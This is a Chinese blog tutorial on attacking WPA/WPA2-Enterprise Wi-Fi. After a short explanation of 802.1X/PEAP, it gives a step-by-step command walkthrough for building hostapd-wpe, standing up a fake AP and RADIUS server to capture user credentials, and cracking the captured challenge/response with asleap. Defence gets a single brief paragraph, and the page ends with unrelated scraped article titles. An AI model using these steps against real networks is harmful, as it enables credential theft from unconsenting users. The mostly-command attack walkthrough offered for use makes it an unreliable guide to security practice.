0x00. 企业级WPA/WPA2简介

WPA/WPA2企业版:在大型企业网络中,通常采用802.1X的接入认证方式。802.1X认证是一种基于接口的网络接入控制,用户提供认证所需的凭证,如用户名和密码,通过特定的用户认证服务器(一般是RADIUS服务器)和可扩展认证协议EAP(Extensible Authentication Protocol)实现对用户的认证。WPA/WPA2支持基于EAP-TLS(Transport Layer Security)和EAP-PEAP(Protected EAP)的802.1X认证方式。

0x01. WPA/WPA2企业版认证原理

上图详细介绍了基于EAP-PEAP的802.1x认证方式。

1.首先STA向周围发送PROBE REQUEST帧,等待应答

2.AP收到之后回应一个PROBE RESPONSE帧给STA(AC连接多个AP)

3.认证开始,AP本身不会进行认证过程,而是将STA发送过来的认证信息转发给后端的RADIUS服务器,由RADIUS服务器控制整个认证过程

4.认证成功,连接上AP(具体交换的数据信息我在WPA加密那篇说过了,这里不再累赘)

0x02. WPA/WPA2企业版攻击原理

在企业级的WPA认证过程中会需要账号密码来登陆AP,我们所需要做的就是伪造一个相同ESSID的AP,同样在后端也伪造RADIUS服务器,如果STA来连接伪造的AP,那么它就会将加密后的密钥传输给我们的RADIUS服务器,离线破解密钥就能得到密码,账号是明文传输的。

攻击原理

1.伪造一个企业级的AP

2.诱使目标连接AP,获取加密后的密钥

3.离线破解,获取明文密钥

0x03. 攻击实战

下面给大家介绍一下攻击的操作步骤:

环境准备

1.kali Linux虚拟机

2.TL-WN722N网卡

环境布置与实战

1.为了伪造企业级的AP,我们需要先给kali中的hostapd打上hostapd-wpe补丁

git clone https://github.com/OpenSecurityResearch/hostapd-wpe

2.下载最新版的hostpad,安装依赖包

wget http://w1.fi/releases/hostapd-2.6.tar.gz && apt-get install libssl-dev libnl-genl-3-dev libssl1.0-dev

3.解开tar包,给hostpad-2.6打补丁

tar zxvf hostapd-2.6.tar.gz && cd hostapd-2.6 && patch -p1 < ../hostapd-wpe/hostapd-wpe.patch

4.编译hostpad

cd hostpad/ && make

5.生成伪造证书

cd ../../hostapd-wpe/certs/ && ./bootstrap

6.配置hostapd-wpe.conf文件,ssid改为想要伪造的AP名字(我用的是wifi-free)

cd ../../hostapd-2.6/hostapd/ && vim hostapd-wpe.conf

7.启动无线网卡,不用开启monitor模式

service network-manager stop && airmon-ng check kill && ifconfig wlan0 up

8.伪造AP,诱使目标连接

./hostapd-wpe hostapd-wpe.conf

9.可以看到目标正在连接我们伪造的AP,用的username是admin,password经过了加密的,但是我们依然可以利用asleap来解密, -C指定challenge,-R指定response,-W指定字典文件.下面是破解出来的密码password

asleap -C 8d:a9:83:98:98:f4:34:a6 -R e5:24:78:69:2e:29:9f:ee:42:d8c:d7:4e:d3:f5:65:22:da:7d:57:24:14:da:14 -W ../../sqlmap.txt

0x04. 防御

和WPA个人级的防御策略一样,不要随意在任何地方连接Wi-Fi,尽量将密码设置复杂一点,再安全的加密措施也会被弱密码毁于一旦。

0x05. 结语

关于密码破解的文章就写到这里了,下篇文章笔者会教大家如果伪造AP,其实本篇文章已经通过hostapd伪造过一个AP了,笔者不过是想多介绍几种方法,大家挑喜欢的去用吧!另外最近笔者创建了自己的博客,欢迎大家点击阅读原文访问。

无线渗透(下)—企业级WPA破解相关推荐

  1. Kali Linux 无线渗透测试入门指南 第六章 攻击客户端

    第六章 攻击客户端 作者:Vivek Ramachandran, Cameron Buchanan 译者:飞龙 协议:CC BY-NC-SA 4.0 简介 安全强度取决于最弱的部分. – 信息安全领域 ...

  2. 无线WiFi安全渗透与攻防(十三)之WPA破解-windows下GPU跑包加速

    WPA破解-windows下GPU跑包加速 实现GPU加速的前提条件: 英伟达公司 设计的 计算统一设备架构 AMD 设计的 流开放计算库 openCL 通过这两个技术,可以让显卡帮我们进行计算渗透 ...

  3. Kali Linux 无线渗透测试入门指南 第八章 攻击企业级 WPA 和 RADIUS

    第八章 攻击企业级 WPA 和 RADIUS 作者:Vivek Ramachandran, Cameron Buchanan 译者:飞龙 协议:CC BY-NC-SA 4.0 简介 个头越大,摔得越惨 ...

  4. Kali Linux学习笔记—无线渗透 WPA攻击(PSK破解、AIROLIB、JTR、cowpatty、pyrit)

    Kali linux 学习笔记 无线渗透--WPA攻击(PSK破解.AIROLIB.JTR.cowpatty.pyrit) PSK破解原理 PSK破解过程 实验步骤--使用字典rockyou.txt ...

  5. Kali linux 学习笔记(三十四)无线渗透——WPA攻击(PSK破解、AIROLIB、JTR、cowpatty、pyrit) 2020.3.13

    前言 本节学习对WPA的攻击 主要有PSK攻击和AIROLIB.JTR.cowpatty.pyrit等工具的使用 1.WPA PSK攻击 WPA不存在WEP的弱点 只能基于字典暴力破解 PSK破解过程 ...

  6. 企业级无线渗透与无线数据浅析

    0x00 企业级无线渗透 注: 这篇文章里我详细说一下针对企业802.1X的安全解析,还有一些针对数据协议的分析方法和浅析关于个人渗透太多太啰嗦我就不写了,有机会在说. 因为我不想一部分一部分的写,所 ...

  7. Kali无线渗透加油破解无线

    购置装备 首先我得来安利一波无线网卡,推荐我刚刚购买的网卡商家,他家很良心,而且因为我对无线渗透望眼欲穿,网卡一到手,加上熟记的指令,一下子成功了,真的超级开心. 来这儿:8187L无线网卡,但是个人 ...

  8. Linux下使用Intel_WiFi_Link_5100AGN 破解无线加密

    Linux下使用Intel_WiFi_Link_5100AGN 破解无线加密 就是传说中的BT4破解 ㄝㄙㄩㄧㄝ 回答:1 人气:16 解决时间:2010-02-24 14:55 满意答案 该网站为5 ...

  9. Kali无线渗透获取宿舍WiFi密码(WPA)

    转载闲云~的个人博客:https://blog.csdn.net/SKI_12/article/details/76598873 无线安全水很深,本人前段时间也是因为实验报告内容是关于无线渗透的才接触 ...

  10. kali 无线渗透 WIFI破解

    kali 无线渗透 WIFI破解 破解过程 准备 渗透开始 本人过程 破解过程 准备 购买无线网卡 , RTL8812AU(本人使用型号): 安装驱动 ,本次实验中最费时间的一部分,出现了各种错误, ...

最新文章

  1. python怎么理解函数的参数_理解Python中函数的参数
  2. 成功解决python\ops\seq2seq.py TypeError: ms_error() got an unexpected keyword argument 'logits'
  3. 诺基亚报告称:到2020年北美电子邮件流量占比将跌至7%
  4. 1024看到这篇文章的程序员,能不能把你的电脑桌面右下角截图回复
  5. asp.net网页中导出EXCEL,WORD的环境设置验证实例
  6. 【6.1】图片风格迁移 Neural Style Transfer
  7. cesium入门示例-3dTiles加载
  8. 华中科技大学期刊分类办法_紧跟国际前沿,拓展研究思路,立足国内实践,提升科研能力 —— 记国际期刊学术论文写作与发表研修班...
  9. ubuntu 设置定时任务
  10. macOS Monterey 兼容哪些 Mac?
  11. Vue项目实例(一)------背景
  12. uniapp 地址转换经纬度
  13. 从本地硬盘启动计算机,戴尔笔记本电脑设置从硬盘启动的方法
  14. 圣诞节来了,雪花纷飞的CSS3动画,还不首页用起来
  15. CyanogenMod12编译教程
  16. android 开发sdk 找不到java类_开发Cordova插件(Android)时找不到源Java类
  17. Vue爬坑之路 二:使用Muse-UI前端框架及axios,实现简单登录页
  18. LA 3708 - Graveyard 墓地雕塑
  19. hp388服务器安装linux,HP DL388 G7做OLI,RAID,BIOS设置linux安装概要
  20. 极限的无穷小和无穷大

热门文章

  1. 克服J2SE 1.3 ~ 1.4不兼容问题
  2. mysql dual表用法_详解Oracle数据库中DUAL表的使用
  3. JSDOM案例:猜字游戏
  4. win10微信打电话对方听不到你的声音,你能听到对方声音
  5. 为你的掘金和 GitHub 设定个性域名
  6. presto web UI介绍
  7. pigeon主题如何将顶部图片扩大
  8. 如何将图片转成png格式?图片的格式怎么转换
  9. 微信打开网页会出现一个“将要访问”的页面是怎么回事?
  10. java将元素添加进数组_如何在Java中将元素添加到数组的中点?